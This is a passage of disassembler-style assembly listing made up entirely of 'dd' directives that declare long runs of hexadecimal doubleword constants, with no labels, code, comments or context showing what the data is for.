		dd 841E77BCh, 8CC52E4Bh, 7F689B0Bh, 28827462h, 0C30E3CF5h
		dd 0C9DF315Eh, 12986980h, 667CB447h, 6F03EB26h,	0F768F642h
		dd 59807212h, 0C558FEADh, 0F6AD095Fh, 4FDAF6C3h, 42F87F92h
		dd 0DAC8BE9Eh, 0B51E7102h, 0B942FF37h, 215F9869h, 61A947E3h
		dd 0E8722835h, 5E7E9305h, 3AEDAD90h, 7DB737F0h,	0D1F73245h
		dd 0B941E118h, 4FFEC99Eh, 4DEF3D82h, 0AD553B22h, 5D1E60FDh
		dd 4F729001h, 5F94C152h, 8A82B29h, 49B02ED8h, 0B2422DBEh
		dd 0D1F1C1BFh, 3756E933h, 6BC8663Dh, 16B73984h,	0C3E15CBBh
		dd 2D284A9Ah, 2DF01348h, 781FBA92h, 4CE897D1h, 9083BFDBh
		dd 0F2F486C4h, 0D7F24F7Dh, 0E9E1D432h, 2AB67C51h, 704BD79Fh
		dd 0B596D7E7h, 4024799Fh, 6E8FE950h, 0A899D1BFh, 22C227E9h
		dd 5344DDFEh, 0B1CBACBFh, 1AC1E956h, 2E4F96Ah, 0D68D0F7h
		dd 92D85934h, 2D434B4Eh, 0DD0D9277h, 0F00117C8h, 975FC4B8h
		dd 0CBCBDFBDh, 510ABCECh, 2D4DB368h, 22DD12BCh,	0BD08BBB4h
		dd 0FFC15BB2h, 1A582B11h, 8277E6EAh, 5B7504D2h,	55FA437Ah
		dd 0EC5C9440h, 0A8985AF1h, 3ACC46Bh, 53D48212h,	35E7BD00h
		dd 872E5AFBh, 38B88051h, 57251A0Ah, 71C25D68h, 0D014CD03h
		dd 187EDB07h, 0F8A2212Fh, 31B9A05Dh, 0C48F66C3h, 0A0B620AEh
		dd 1909C973h, 54466D14h, 600388F0h, 8047B41Fh, 5CC3EDE4h
		dd 0BB300FF1h, 7C2947A0h, 0FC04D877h, 0A104C1Dh, 0C8582CF1h
		dd 382768E9h, 0CF915630h, 54BA4D66h, 10438E9h, 3DEBB53h
		dd 862E5538h, 5A0645Ah,	0AB2FD8FBh, 82857053h, 0FEA68583h
		dd 56278BF3h, 29D2E27Dh, 729C55E1h, 87C6811Ch, 54716F0Bh
		dd 908A0C2h, 0FED708E9h, 966945DDh, 2D53B5h, 0F011C88Ah
		dd 71EB0134h, 5F973F10h, 0AC782563h, 0A1DCB9EEh, 0D72462E9h
		dd 2F50BBBh, 0CA57EF5Bh, 19ED41F3h, 65B8C050h, 58F72D53h
		dd 5DA590FDh, 31E230E9h, 8002C467h, 9D2CC239h, 0F28273EAh
		dd 0D7D528BBh, 0C0F6F2Bh, 0EFDDF627h, 0F5140417h, 0D5CAC41Dh
		dd 0DC73B585h, 37B86729h, 76685602h, 0A106020Fh, 0D4CDE9A9h
		dd 0A289316Ah, 9DFE05BBh, 4F877915h, 39CB4AC8h,	0CF5FE7Ch
		dd 0DA086FC3h, 0ED2FE9EBh, 0EE78FA56h, 0FEE427A8h, 0D1D7B4A9h
		dd 365DA72Ch, 5C0AB030h, 0ABD29A1Bh, 6801B8CAh,	66DE509Ch
		dd 0A8206B5Ah, 0B05B36BCh, 0BEF20431h, 0F010EF5Dh, 605B0F2Dh
		dd 0D16A61C9h, 7F31B5CAh, 0D4E2F6A8h, 6813C178h, 0D5A349CAh
		dd 0AA594C0Eh, 0CB2AE9C3h, 0FA684003h, 0D7627246h, 9DE933B4h
		dd 0B614AF05h, 0D8CCD1D9h, 7D870494h, 42A33AC4h, 0DD492C7Fh
		dd 10A7680Dh, 0F9532D4Fh, 455DA794h, 4656CD28h,	0C67330ACh
		dd 0F809C690h, 0DE158821h, 0EC5B92C7h, 5E0C4062h, 0B6F4E919h
		dd 18325077h, 0D4F6B50Bh, 0ECE9240Eh, 0ED90F187h, 0A5681ACh
		dd 4B5A9C76h, 0B15E5DC6h, 0A0C8B209h, 6C39715Ch, 6B95B831h
		dd 0CDDC0D6Dh, 0FD746225h, 0AA24CB22h, 0D909BA0Ah, 0A94553Eh
		dd 5E01C52Dh, 65540E38h, 3F8210Bh, 0FF551616h, 0C2C39630h
		dd 625E2648h, 3E7B3C67h, 603F456Fh, 4D20F302h, 4E570DD1h
		dd 68593EC1h, 1CF472ADh, 825BDE58h, 25DF96FDh, 84D9A113h
		dd 0DB305199h, 3DA2CC3Bh, 8D2C9B9Eh, 0E3CEA81Dh, 6B82DEACh
		dd 5F1B7E54h, 882C878h,	12FE27C3h, 5D7CCC0Dh, 517E0C36h
		dd 52DF437Fh, 0B072E8EFh, 274F66EEh, 0E6C149B3h, 40844C6h
		dd 4D70B9Ch, 0EDAE152Ch, 0D7C8896Ah, 2838FF81h,	422CA7D0h
		dd 2A636182h, 42511F7Bh, 9FC180F1h, 0E7E30B63h,	7CE5063Dh
		dd 0CF88C51Eh, 0E6FC3E96h, 7669AF5Bh, 7180613Ah, 9ECB78EFh
		dd 0C9AC6912h, 0A8ABDC5Fh, 0E3EDB241h, 2902BA41h, 0D7C9FF07h
		dd 539791C4h, 43934A92h, 8814F68h, 65992F4Ch, 0A17B6EAFh
		dd 0E0B105C2h, 3168B39Bh, 62C3544Ch, 25BA007Ch,	0C16D5805h
		dd 930E9318h, 3E068CCDh, 0D5F70D35h, 79590CA2h,	150C7B27h
		dd 627C67FAh, 28AFE501h, 2FE96FF6h, 5DF0093Ah, 54BD4550h
		dd 55A1E78h, 0D409E9C5h, 17DDC42Ch, 6C6A898Bh, 93ED5A53h
		dd 0BCD9444Eh, 0C3640B26h, 1E3796D1h, 13F98959h, 0BBC9B032h
		dd 2878FEB5h, 12FD0BBCh, 6AF503EDh, 0E040F5C6h,	0B902DC5Bh
		dd 0E9FA29EBh, 0F277707Fh, 26227AD2h, 907E0954h, 0DF871DF4h
		dd 2284BDD6h, 0FF0EC5FAh, 2EE90CD8h, 0C1063EC5h, 3A403A68h
		dd 3C435E31h, 636BDE07h, 3E9E5D64h, 0C3BEFB0Dh,	606E20C1h
		dd 0EE95BDBh, 281A0F4Dh, 0F426D0EDh, 0A98EF6DBh, 0F3AE1242h
		dd 0A6A3DDF6h, 56FA6A0h, 0BAA15AEBh, 0BF40BAB1h, 79282F46h
		dd 6C64133h, 17831C08h,	20851804h, 0A7C463DBh, 8405A1AAh
		dd 6F0AB224h, 40DE6D83h, 0D65B0828h, 152EA1Eh, 0B9F0C802h
		dd 2CB445FEh, 50C910AAh, 79406991h, 0FDDDB059h,	1266F3C0h
		dd 0A4157D68h, 28F8B433h, 584DE37Ch, 1EF8D60Ah,	0CE296463h
		dd 7A51A3B9h, 0F9097E52h, 0D00BA910h, 38828C8h,	0B0D52FB4h
		dd 0BA020C66h, 2C46010Ch, 717E57h, 81721038h, 3D1345E6h
		dd 8E06FF8h, 3C144147h,	40BA4EBDh, 6721BB22h, 43093029h
		dd 0D558BEE9h, 0C7FF233Ah, 8B901ACDh, 0D57B4F41h, 4D7030C9h
		dd 0CB55105h, 0A4C0D5F6h, 0A0EA08DBh, 0E075F291h, 486E98D1h
		dd 0C6730FC1h, 16301A32h, 0E9A3041Dh, 5D96EDE6h, 257F4ECAh
		dd 0B359B664h, 0A84ED384h, 7DC29B82h, 13B67278h, 26F8F488h
		dd 4275270Ch, 0F040DF5Ch, 0EEA8B197h, 31205FFAh, 585A1354h
		dd 23770657h, 527785F6h, 25C0854Eh, 0DF04E5C0h,	0DCC599D8h
		dd 0CCC6CCBBh, 53B8EEE0h, 26724Ah, 120D5E48h, 0F2C0A95Dh
		dd 0DCE7557h, 84D6E79Fh, 0F5C8BE0Fh, 5C2C502h, 0A99E7681h
		dd 892AB23Ah, 682060D0h, 0C56158F7h, 0B2C9BAD6h, 73C5937Ah
		dd 2A0E3AD9h, 702B5A1h,	0E7DDF058h, 0E6C0DF85h,	6981EF07h
		dd 420088B1h, 220AE281h, 0C66BBE57h, 0F2759602h, 0D1E857B6h
		dd 761D094Fh, 7993E91Ah, 2FF3CDBFh, 214B16AEh, 3FA4E9A2h
		dd 0C5EE6413h, 82BDE92Ch, 0D6424B68h, 0FE096462h, 0BDC741E0h
		dd 0E9619CD9h, 0C550BB4Ah, 0E8749FF2h, 40AD9872h, 0B8EC5812h
		dd 0A47C9B48h, 0B58BD0FEh, 0F35E8662h, 0DF090AC2h, 3D7DA420h
		dd 42BD3FEBh, 0A896776Dh, 0AF302041h, 3BAE41F9h, 0F38B3283h
		dd 0BB86FDF1h, 0B7531385h, 0C2E1A1C1h, 0BF8BF060h, 7DC5B5C9h
		dd 0F19B2Ah, 472C17D4h,	2B540668h, 4269E0F4h, 47C7A46h
		dd 7D27C8C7h, 0DF618265h, 0E2974D70h, 0B93DC98h, 12F41CB9h
		dd 4201762h, 7517D25Dh,	2D3F8888h, 6D0C848Dh, 28EF4E90h
		dd 5325E9C4h, 0C835F101h, 0A1265017h, 35005F82h, 7D8E4A91h
		dd 68A70951h, 4655878h,	0FC11808Fh, 0D244B0ABh,	680451B4h
		dd 0CEBB6ED5h, 61B24ED0h, 98F6AB93h, 0FC67E909h, 5B709F10h
		dd 0B5E18980h, 0C101BB6Ch, 273B5DE5h, 0A8A0D901h, 310B9508h
		dd 97961CD7h, 46AA30D7h
		dd 0B3FE4AFDh, 7FC389EFh, 0EBF8EC78h, 0F882F797h, 2CD8E3E9h
		dd 8B48F19Dh, 11D6BB43h, 82597772h, 3AF1941Fh, 9571C631h
		dd 0CBB651DAh, 0D331D5DAh, 0DF0924E8h, 40A33260h, 0FB6B01F1h
		dd 0C6E17FA0h, 3ADC825Fh, 757D5717h, 0A042D885h, 157B689Bh
		dd 8DBEC7A6h, 93225D27h, 5100E43Ah, 282705B9h, 5CA580Dh
		dd 1BB36054h, 8C4C0F7h,	485A6764h, 83E45DBFh, 1E073B35h
		dd 2F65E991h, 0F3800A02h, 2D6D419Dh, 0CE2BEC6Fh, 0A342365Fh
		dd 408103EFh, 76414003h, 76F3F24Eh, 2DAFB06Ah, 0A168B491h
		dd 90B2D13h, 54355Fh, 0F793074Fh, 9EF0E7D3h, 7D87230h
		dd 0A9270F25h, 5209DF55h, 0EF09F085h, 72B305D0h, 0B4CB2780h
		dd 375CD4F2h, 0E90A040Ah, 96B9E3B0h, 82A00D04h,	4196B790h
		dd 64BF2FC5h, 63E498C6h, 2DADFCA8h, 2DE8DC95h, 9825E9FCh
		dd 3161FFA3h, 0A39C27B3h, 0CAF63FCDh, 85EC357Ah, 4B56F914h
		dd 0D5F0D2BAh, 0FCF10BDDh, 97D7A5EDh, 0D209254Fh, 648DF95Dh
		dd 0A995FA50h, 41BD9EAh, 0DD84EB1Ah, 5E2FCAAAh,	80E46CF2h
		dd 60440885h, 9764D5Ch,	17547A5h, 43FCEEA2h, 846A05F1h
		dd 4005D9ECh, 0AB4BB7E0h, 25BB0902h, 5C5E8B50h,	1CD241Dh
		dd 164D93C3h, 0C9B26F3Dh, 9AE02C1h, 2AC9716Eh, 0BFA4E6A8h
		dd 0BB97DFACh, 0C9F452Dh, 2D02A5E9h, 6141CF21h,	0D2B401F4h
		dd 0E8E7E12Ah, 18BF3114h, 0B5903908h, 7D69B0D6h, 0D7FC1CF8h
		dd 3BF0CA49h, 0ABC69A32h, 127E5D0Eh, 0D9C7FC9h,	0AD685609h
		dd 74CAB01Eh, 0A99B951Ah, 38DC2400h, 0E95E11A8h, 0F80249BBh
		dd 4F783E10h, 0B663D4AEh, 1277703h, 2894FF59h, 0DEDCE912h
		dd 87E7E444h, 0E8B0A780h, 9D1970B2h, 3C96DAF4h,	274B2AF8h
		dd 0E027A230h, 0F2EE4E69h, 0EC9E38F5h, 0BE1ECFDEh, 0EADC2B85h
		dd 75A89046h, 768907B7h, 0B45D6574h, 0D5C4AE95h, 0E3A19FF2h
		dd 282AB7AFh, 0E4C51872h, 2D860938h, 6C812B70h,	0D6A9790Bh
		dd 8F1220DDh, 0C124A410h, 0F719BA0Ch, 0BCF1F067h, 76701812h
		dd 982478BCh, 3F64A801h, 402CBFC5h, 4BF5007Dh, 0E96D5432h
		dd 5CE0512Fh, 0AACE58A0h, 8CE8FE4Fh, 6A61FEA5h,	0B9000CBDh
		dd 2C5C250Dh, 6B5F4811h, 9D46500Dh, 42AF2871h, 23D3D5AFh
		dd 0A3AA0593h, 0E93BD817h, 0E2625BBCh, 29E28B5Fh, 655D066h
		dd 0B69E3EDh, 11080C62h, 32CD242h, 232F3E49h, 8BF52902h
		dd 0D729D1C4h, 0CD815F89h, 0A0663858h, 6AD2A754h, 955C4E2Ch
		dd 0F55ADB74h, 5F5F6044h, 0EF2A43E1h, 2C055B16h, 26B4647Eh
		dd 31AD40EBh, 6DBBF84Eh, 28B682B0h, 0D745E343h,	882F3D8h
		dd 4FC8F61h, 9FE2FEE0h,	0B490FDD2h, 0E927B484h,	6292F9A6h
		dd 0CD7D9C54h, 900D1768h, 235FE1B6h, 237204Dh, 78334B74h
		dd 0A0F18A49h, 3911E88Ch, 2E7DE3h, 982B1E5Ch, 24BB1240h
		dd 3D3EA507h, 0E9937F97h, 0F02D740Ch, 0BD4F00EFh, 0EE6784F0h
		dd 88009AF3h, 0E9B50958h, 3B060312h, 73B0C081h,	0E3D98032h
		dd 0F41BA6Eh, 2381A633h, 10A08028h, 0DE84760Fh,	0BD987F1Fh
		dd 44EF4714h, 5920201h,	1FF19589h, 4DF71981h, 4728BFC8h
		dd 0BA07C984h, 29C0101Ch, 57A3880Fh, 2DA186B2h,	24259Dh
		dd 9053B157h, 0BE100052h, 266C0FF6h, 4D748D8Bh,	0ECEA65C2h
		dd 0B084639Dh, 26FB87E3h, 1B082A75h, 0AC1119E8h, 0FA161395h
		dd 0A08F838h, 0CA26850Fh, 2E0B6Ch, 24427D70h, 0E4B11E02h
		dd 0AAC7BD03h, 2CE9BEh,	78CE525h, 0E38ED0CCh, 164AF000h
		dd 85473C34h, 0BD890C22h, 0E9702AB1h, 865E5Dh, 7A55113Fh
		dd 2E962416h, 1CD1B6Ch,	0F642E7D1h, 0C6B1C0E5h,	6BCD40Eh
		dd 265F00A8h, 0A582A3h,	0CDEEED6Fh, 0C8FEAC09h,	0DC3E9FF8h
		dd 2E6100ADh, 0FAA907C4h, 493100C5h, 0ED03A59Ah, 453122Dh
		dd 8AE88004h, 75C4681Eh, 8518C32Bh, 23E06427h, 0D27CDE29h
		dd 0C21D1200h, 0C4FA8C4Eh, 233033Dh, 650C86F2h,	2284297Ch
		dd 194250DDh, 1156CE11h, 9A11D3E6h, 8052142h, 0A29157EBh
		dd 0E4FD5E00h, 849AC236h, 0B9A11700h, 62ED7AB1h, 0E0573B44h
		dd 5EB76400h, 298BA9C2h, 714A2400h, 0D07BC60Bh,	1C01006Bh
		dd 0C38749AAh, 0AD07B198h, 9D947D78h, 6CC782F0h, 90BE0068h
		dd 4AF9C974h, 6D009325h, 8C984161h, 0A23C3Eh, 0FAB4A07Dh
		dd 67B91675h, 0EB059100h, 0C12BC73Bh, 2EE80E06h, 9A40C4DFh
		dd 0F8493221h, 57D7AB00h, 3ECFE1E2h, 7DDC75D0h,	8A1300EEh
		dd 0C9B1395Fh, 0F2009D4Dh, 0FC22A5F3h, 2820D5h,	0D11072CCh
		dd 0E88F26AFh, 0FE4E9400h, 2159E0E2h, 20DD0077h, 9B486654h
		dd 21CA3AAh, 9DC00C51h,	0D08D3A46h, 855E01A8h, 99DD4B82h
		dd 0FA07FCC8h, 0AB52F8A0h, 0ADB0E30Eh, 0E4F00A1h, 56C87FFh
		dd 0FC0C9F1h, 2FB8C04Eh, 9F00E9D0h, 0BF75355Bh,	471365h
		dd 0A7720659h, 95553C78h, 0BCCF4102h, 8B3337E2h, 0BBCA00E5h
		dd 2DF392h, 843C9F2Eh, 6A5A1F53h, 0F9464D00h, 0CC1179A9h
		dd 0A07B0016h, 0AD972F02h, 1900251Fh, 6F095A7Ah, 3A75AAh
		dd 63C137CFh, 0C0CC621Dh, 0B791D201h, 0EBD8BFF7h, 40C01E7Bh
		dd 0AE8E2B01h, 9C008BA0h, 0F96EBD4Dh, 0CB6056h,	0AB810EDBh
		dd 7FB5B65Ah, 8338453Eh, 77DA1765h, 0B0F593C4h,	49B559Eh
		dd 19BE0CDFh, 0B10C8004h, 260076DCh, 3952D2EDh,	0C0DA73FCh
		dd 0B6C5BA8h, 11242541h, 0AE0073B4h, 4E12FCD3h,	0E3D700EDh
		dd 9B578A80h, 0C500729Ch, 0E748EF35h, 3C3ACFEEh, 0DD00B8C2h
		dd 90BFE8A4h, 6C3D5AF1h, 0A3D78008h, 3C3FA803h,	49CE24F5h
		dd 0DC05002Ah, 25401EB9h, 513E2B04h, 0E890C23Bh, 264209B6h
		dd 8A9B30h, 2CE8880h, 7000C15Ah, 0D4CC8D74h, 755B6C3Bh
		dd 9A5C3919h, 18319803h, 0B2808B3Ah, 0D1000723h, 22BA05C0h
		dd 48013D86h, 747C74CBh, 0C10F004Fh, 1495B7F7h,	857D1CA8h
		dd 80AB7828h, 3323Ch, 0D261C6D4h, 7FF682DDh, 8CF5265Fh
		dd 0B51220h, 0E394EC04h, 830019B2h, 6B16D332h, 3CC44AF1h
		dd 0E909294Bh, 0F6808C2Ah, 0F4DAB87Ch, 4CBB39h,	7B818226h
		dd 363315h, 79D50FB4h, 88F32D55h, 83605Ch, 414C2FB3h, 3DC5D8h
		dd 0F6A33B12h, 37C97609h, 8AB58500h, 355260EBh,	0A10B0E08h
		dd 80802B05h, 38373697h, 0F1C3E00h, 0A967A227h,	96CF03FEh
		dd 2E6B7302h, 0EADE698h, 0D08D1E30h, 7CBF78h, 5B982D90h
		dd 0B8FBCCB1h, 0E0D9B400h, 388C719Bh, 611158FDh, 95A59100h
		dd 0B74FF186h, 6ED36400h, 433C358h, 1AFC77h, 980F1F16h
		dd 179F7DF9h, 42F4BC07h, 0E227CDFBh, 0D8AF0AA3h, 0AA3B2Eh
		dd 5C6E43DDh, 0CD937504h, 42646A00h, 368BE47Fh,	0CAAB2495h
		dd 182450h, 5CE997F2h, 47075523h, 0B5D81C05h, 632CD9F2h
		dd 6DE0B0F4h, 7642074Ch, 0B0710F40h, 0AF3E606Bh, 9E7A1000h
		dd 73CE79D2h, 4DD40053h, 0A380A2FEh, 937DE63Ch,	0ADE32E00h
		dd 400CD1C7h, 338E021Ah, 652CC409h, 934F1B60h, 4837E71Fh
		dd 923142C0h, 3050B97Ah, 0FB5EF077h, 0A6030F25h, 0C951571Eh
		dd 6B82C5EAh, 93C081B9h, 289F970Ah, 0CBEBC091h,	1452793Eh
		dd 90ABB714h, 0D0E707C4h, 1E579C93h, 0BECBFBF0h, 0FF840025h
		dd 0BACC23AAh, 880071ABh, 3A56359Dh, 61A6092h, 8A812FE5h
		dd 0BE00C4C5h, 0D71E976Ah, 0EDC98Eh, 0B783986h,	2711062Ah
		dd 0C5A1DC12h, 0E0008412h, 3E65C14Ch, 7AAF7B0Bh, 8483488Ch
		dd 49BC000h, 36DE2E35h,	0CE463400h, 2C88BF76h, 26EC0194h
		dd 0D3E42DE8h
		dd 0F4884029h, 37581586h, 0DB9F000Ch, 7DE0AE23h, 0DE3A0187h
		dd 6175C4ADh, 220060A4h, 0A1A98200h, 520D9D6Eh,	3DA7076Ch
		dd 20485BB4h, 1D8D8C6Fh, 6E243E0Eh, 50FA405Eh, 0B0D1FCh
		dd 4E27D667h, 0C274A882h, 8CE7DF00h, 615E606Fh,	0C0020419h
		dd 8031690Eh, 1D6BAB08h, 477D3Eh, 2F645B7Eh, 0A00BB862h
		dd 249AACh, 0A5FA9EE3h,	0CFA7592Ah, 90B99400h, 0F197B5E9h
		dd 0F6570088h, 3F75AEC7h, 3300B6DBh, 0C3DC92Bh,	84C142h
		dd 0C8B46D2Ah, 0D1CB2D4Fh, 0C061EB0Eh, 0F0B8A223h, 7E594042h
		dd 662A046Eh, 0C095D788h, 0EA5D22F4h, 5CEE3420h, 21EB004Dh
		dd 420A8C04h, 6D00FC68h, 1550E15Dh, 4CF9BB5Ah, 6E00C8AAh
		dd 33250648h, 61F2C349h, 580063FCh, 14E5D220h, 0B1DCF204h
		dd 47371F7Ch, 9FBE9038h, 0A98D2E81h, 1BAEE086h,	7DE45D00h
		dd 0D06A5BCFh, 0E57802C3h, 0F8324FC2h, 25943840h, 0F52A5600h
		dd 1CC3423Fh, 4840E58h,	0D8205F79h, 86456A11h, 65136C07h
		dd 20A09F31h, 26E71863h, 12133FE1h, 0BED000B1h,	0A974070Eh
		dd 4644901Dh, 80F0D949h, 1944B53h, 2F8100A6h, 0CD31CB55h
		dd 0D10BA109h, 808C7268h, 3408DA06h, 2853024Ch,	0F8BF229Ah
		dd 1F01F43h, 29006683h,	4746D956h, 3F1377BCh, 1C008DE8h
		dd 0D7654F20h, 0BD7891A8h, 0DB5CCF1Eh, 6B157380h, 3411BEh
		dd 0A2E4F0CEh, 803F7736h, 0EF424714h, 0E9510EC0h, 86A6E0D8h
		dd 999523F8h, 0B84E01A4h, 66D463h, 98ADAE52h, 0B0307D90h
		dd 6FD20754h, 60ED705Ch, 37934DB6h, 0C155A51Fh,	890EF4A8h
		dd 80268F34h, 0DC82444Ch, 326800C6h, 1F8319Bh, 98E06D67h
		dd 7079FB00h, 559D0DC8h, 77EE3075h, 0CD485840h,	65D830F5h
		dd 0CA84E300h, 677FE26Dh, 1E4212B4h, 61F80509h,	55A70FB9h
		dd 9F2843E1h, 60F6D1C9h, 683A16D8h, 5E718507h, 0C4C08C24h
		dd 0B598CBh, 924AE485h,	136B84FDh, 87E3A700h, 0B1032FF9h
		dd 9D1100D7h, 0BC743642h, 52161868h, 64070A65h,	48D732CCh
		dd 0DEA0B7h, 17E7F5A1h,	31C70356h, 91FBF452h, 0E17BD896h
		dd 0F7CFA200h, 2C4050BCh, 82131EC7h, 7DFA002Ah,	835E1DB2h
		dd 72D3501h, 973BD63Eh,	0E8F42AE4h, 0EFD400F0h,	0E3EC1DE0h
		dd 0C400F2BAh, 1314E6BEh, 312B2B0h, 536DE80Dh, 5000ED4Ah
		dd 0C6ABD552h, 1E3DCC19h, 457492E9h, 85F64235h,	125C0048h
		dd 0BD137146h, 850F8AE0h, 806BE31Dh, 0E8C0F943h, 11EB0023h
		dd 0CA416A14h, 40C0532Dh, 8164308Fh, 0EC6E0089h, 0AD58439Fh
		dd 3D00CAB3h, 0FAE72716h, 0EEA037h, 0FD015BF7h,	2EDB6295h
		dd 0A9914F00h, 53721673h, 6E630771h, 0A051F890h, 13574C8Dh
		dd 0C7D96D00h, 3862679Ch, 2471B075h, 3F5BA66h, 0F90F47B9h
		dd 5663D9B0h, 32793400h, 68ACC9Ch, 99EC02E3h, 0C719AFE6h
		dd 91A8B0E3h, 944CC1ABh, 0BAA307FEh, 0D3600AA4h, 7C0F55h
		dd 4657D4FBh, 494BD7E6h, 0FCA7663Fh, 0BDBFBA00h, 0A9AD843Ah
		dd 3159031Bh, 2E0AD3EBh, 874C71C8h, 0FDCCA00h, 5AB3F80h
		dd 20BC1ECDh, 0F69000BAh, 0D747658Fh, 0B3687600h, 28071443h
		dd 70B40FB9h, 9DC01D57h, 79125C75h, 0DCF9F1E7h,	3400F816h
		dd 6070993Dh, 0E91890h,	2ECB6794h, 0C9080B1Dh, 3836CE00h
		dd 0F8406084h, 0A1780050h, 5D8E0169h, 0D300632Dh, 850A7988h
		dd 607A8Bh, 8732CA7Dh, 509AE72h, 0F629D01h, 6F39E168h
		dd 637BCCh, 4111AF4Bh, 0F5C20DC9h, 0CBEFFD02h, 0E0D20BA7h
		dd 0B6D69Ch, 0C3A39BB3h, 0E4B931ECh, 70682B12h,	0CAACA420h
		dd 1B210006h, 57625308h, 0A102B644h, 712E93E0h,	6D3240D8h
		dd 417705ACh, 90B136D0h, 0BDECED80h, 7BBB4007h,	0A400F98Dh
		dd 33A9DCh, 5F6DA8E1h, 8AE37305h, 87009990h, 790DF437h
		dd 583180h, 2759AE3Fh, 0F59BDEF0h, 86626004h, 0F880FC45h
		dd 0F089D009h, 1113641Fh, 70190530h, 0D2F51040h, 1C5B01ECh
		dd 9AA7C0CCh, 46C0E8B9h, 0AF188940h, 1230F94Dh,	3A660008h
		dd 2329776Eh, 0E903F00Fh, 64D85DA6h, 0E575F81Ch, 6127F8Bh
		dd 0B810F789h, 509838E9h, 216DD201h, 9D8D626Eh,	5CC1FF44h
		dd 0E8FB7C23h, 23A3383h, 0D9844EC7h, 0AD800B4Ch, 312E28F7h
		dd 97923E03h, 9B0C989Fh, 0E07C9BC6h, 6EDAB8h, 277793F5h
		dd 14FFB516h, 3D784E0Fh, 20A98FC9h, 0BA57301Bh,	9E8200D4h
		dd 0B8E8F693h, 8300BCEBh, 165E0654h, 292E97h, 8BFFCD52h
		dd 0E65A7C8Ah, 31988907h, 0EA5057A8h, 8FFBD8h, 0BAF9AFCDh
		dd 836250ACh, 0B341FC01h, 2E5E9D91h, 0B14DE880h, 30E644D4h
		dd 2348C78h, 0A01008B2h, 6EA4449Ah, 5306ADF0h, 89A30234h
		dd 3A80621h, 115C07ABh,	9E419202h, 80FC0D3Dh, 28E3FD1Ch
		dd 8411C0D9h, 7982D2B3h, 404E540h, 9CCBDE47h, 0EC6D40FEh
		dd 4068D35Ch, 8704ED26h, 30C439D1h, 68519120h, 0F7625F00h
		dd 0F808FDEBh, 74FE7489h, 91880328h, 794F7803h,	4E8E2007h
		dd 768668BBh, 0A9FA0F10h, 0B6C0726Eh, 54D1E984h, 0E70036F6h
		dd 0DF8CAA12h, 80FA8Eh,	0EE2D31A3h, 64951323h, 0CB40F0F0h
		dd 0D1CF602Ah, 8FAA1859h, 1D40F00h, 84A08325h, 0B7B60006h
		dd 6C92D33Dh, 6568F570h, 38811C30h, 0D6BBCEEh, 2EF08E4h
		dd 0CAA4229h, 0C48EF58Dh, 0B85816A0h, 0AF1494ACh, 79EC3E1Eh
		dd 3D974F00h, 156CBADBh, 256500A7h, 2A4EAC31h, 510022B0h
		dd 1A838B16h, 38F8033h,	0B330E285h, 9800443Ch, 0D4A7BABCh
		dd 1F318DD8h, 9FEF538Ch, 86E03DBh, 0E8F8EC90h, 9F0FFC7h
		dd 41C442F1h, 18408326h, 1091D0C4h, 9F07F29Ch, 0FB3CF92Bh
		dd 21DC55E0h, 4CBB1464h, 290894CCh, 0AD03F259h,	0F0D4215h
		dd 0AA517E98h, 0C7068500h, 3B0068A6h, 4FDEE98Bh, 7E9CA0C0h
		dd 0F977C40h, 0E1EEC248h, 0C45AD85h, 0A218D914h, 669CD100h
		dd 58C4004h, 928F0062h,	93F2077Eh, 23FEBFFEh, 49E20201h
		dd 82629EDEh, 79AB1BE4h, 4680EECh, 45CF0CB5h, 276D8F63h
		dd 38019A88h, 0DD5CAA01h, 0CE9D82BFh, 0D6B7A02Ah, 202F8B30h
		dd 14048045h, 20B492A8h, 602E74E7h, 0D36EC3Ch, 45979C8Fh
		dd 0AA5641E4h, 7DA88FF6h, 3E7F668Eh, 5D3A0040h,	248BDB5Ch
		dd 3F38432Ah, 0BFFF00BEh, 0EE992ECFh, 489860E3h, 227AFC9Ch
		dd 248E7C00h, 0AD1790C0h, 0C0FEE8C1h, 2252D521h, 7B007E4Fh
		dd 4A624264h, 0E6CF17DFh, 909C6060h, 0E48D0B49h, 285AEE00h
		dd 3D67F410h, 9F28C0A9h, 9930A066h, 280DA1Fh, 9D3AEA47h
		dd 0D1290049h, 7CF5EBF8h, 0B69203DDh, 627E0DCDh, 3A5938h
		dd 0AAED5142h, 1445415Dh, 0C4FDB6B2h, 0A0E7B41Bh, 22933288h
		dd 3804C0E2h, 0A4C25946h, 0F4E3EAC7h, 0F82D019h, 94F1500Eh
		dd 6D8A0866h, 0E5003464h, 0B56AB71Bh, 0F1996217h, 4960E28Eh
		dd 6DF0F25Dh, 0F456317Dh, 22500198h, 0C1B48FD6h, 0D788FB0Ch
		dd 0A2217A8h, 9A8F004Ah, 0B8083437h, 0B7E05319h, 4AD4D2D9h
		dd 0E7660022h, 0BFC9041Bh, 0FF0FED30h, 871A357Bh, 6C44388Bh
		dd 0D749B480h, 23D057Dh, 9E628h, 0A166ECE4h, 0F806913Ch
		dd 97223780h, 0FA7674E0h, 0A90E0071h, 11AB950Ch, 8F00A060h
		dd 6E39DD5Fh, 39C1ED16h, 0FB829BC7h, 0BCA61204h, 7667C40h
		dd 49989E37h, 3672814Bh, 5983FF0Bh, 31F53A61h, 0C40DC285h
		dd 0C4880046h, 880039D7h, 16EF2F47h, 18618BD3h,	20980EE5h
		dd 767BDB95h, 87DF6700h, 4466A8F6h, 0AB29C305h,	4977ED17h
		dd 18C60701h, 8A6C3A51h
		dd 0CA52BECh, 995C0192h, 0B207D871h, 50811BECh,	0A3D6560h
		dd 1EF600A4h, 0AAF4CF91h, 51C69013h, 0A9B6E0h, 0D6A1F7A2h
		dd 49EBCA38h, 2D10FA01h, 88468730h, 605608F4h, 0A41DF002h
		dd 510390A8h, 5749AD5h,	80C2925Ah, 11B65794h, 60FE60D3h
		dd 0D54C6832h, 42DF1C1Fh, 8A5D640h, 1A94D39h, 0F6907C93h
		dd 0EF41730Ah, 890C7DF0h, 0C5008C90h, 9304ED75h, 9EEC48Bh
		dd 77340AA2h, 0A15D3803h, 71AFE903h, 0E86FF1FEh, 580D85B5h
		dd 9800448Ah, 0F7E01D4Bh, 0CF768122h, 26F0B971h, 5D50DB0Ch
		dd 0E71C4191h, 0C4E40894h, 0C53BAE80h, 150050A3h, 6782D703h
		dd 1A477B79h, 39AB37ECh, 0B5F7DC18h, 1E73E601h,	0C65819DAh
		dd 0DF15E822h, 6300ACBFh, 3CE9905Eh, 0A4025F7Dh, 7A3F45C3h
		dd 3034E0E6h, 4843751Fh, 3A80F88Dh, 27823FF4h, 38FCD624h
		dd 0FBAE1D00h, 264406D4h, 0AC66247h, 39B8454Dh,	401090E4h
